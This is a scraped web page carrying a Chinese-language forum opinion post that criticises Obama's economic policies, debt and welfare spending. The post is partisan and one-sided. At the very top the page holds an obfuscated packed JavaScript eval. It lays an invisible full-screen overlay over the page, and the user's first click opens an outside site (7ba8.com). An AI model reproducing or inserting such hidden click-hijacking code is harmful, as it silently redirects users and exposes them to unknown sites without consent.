<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我的几个老中好友都支持民主党。有的聊起来还会非常激动上感。我不爱争吵，但这么多年来一直在认真思考。以前我的想法与这些好友相似。我会觉得投奥巴马是明摆着的。。。但我后来的经历和认识让我不再会支持象奥巴马政府这样的经济政策。
论坛里有网友打了这样的比方不少人赞同：共和党把汽车开到沟里了，民主党接过了方向盘，可一下开不出来，这时候共和党就埋冤民主党车技不行, 不能把车开出来，还是让我来 ...
我认为这个比喻是不恰当的。应该是布什把汽车开到沟里了，奥巴马接过了方向盘，打着拯救汽车的幌子，疯狂的借钱花钱（五万亿国债），把汽车折腾进了更深的泥潭。小布什八年乱打仗花的钱和奥巴马四年的五万亿新国债相比，只是小儿科。这五万亿中相当一部分都给了华尔街大投资银行，所谓“拯救国家金融业”。巴菲特的许多银行投资都由此得到保全。他不支持奥巴马才怪。奥巴马表面上抨击华尔街为老百姓说话，但他明里暗里白给华尔街的钱比小布什多得多。否则你很难理解他天文数字的竞选资金是从哪里来的。
（注明来自：美国生活）
奥巴马最要命的问题是他不懂得自由资本主义创业立业的精髓。他打着平等的旗号，骨子里想的就是把能人的钱搜刮走分给不能的人，让不能的人感激他拥护他依赖他，从此再也不用费心成为独立的能人。越多的人依赖政府，政府就名正言顺地越庞大越有权。这样的政策会使创业的人越来越难，越来越少，而越来越多的人会去研究政府福利，想方设法尽可能多享受福利。这样下去，希腊的故事就会在美国重演。
很多人认为奥巴马对穷人和中产者好。他给福利，给医保，给救济，给食品卷，让政府放贷给年轻人上大学，让政府担保放贷给大家买房。。。但他如此慷国家之慨疯狂借钱花钱，让政府债台高筑，以后必定造成美元贬值，物价上涨。当政府给的钱发毛，食品，油，电，日用必须品价格飞涨的时候，真正受苦的恰是拿固定福利和工资的穷人及中产者。
奥巴马这四年已把国家财政搞到了悬崖边缘，但他大把大把花钱终究让不少人暂时受益，虽经济低迷，但未触动老百姓筋骨。所以，他连任的可能性满大。但再过几年，当他的国债祸根发酵时，选民对他会有更清晰的认识。到时经历了政府债务危机而真正痛苦的穷人及中产者可能会象希腊人一样上街游行的。 |
收藏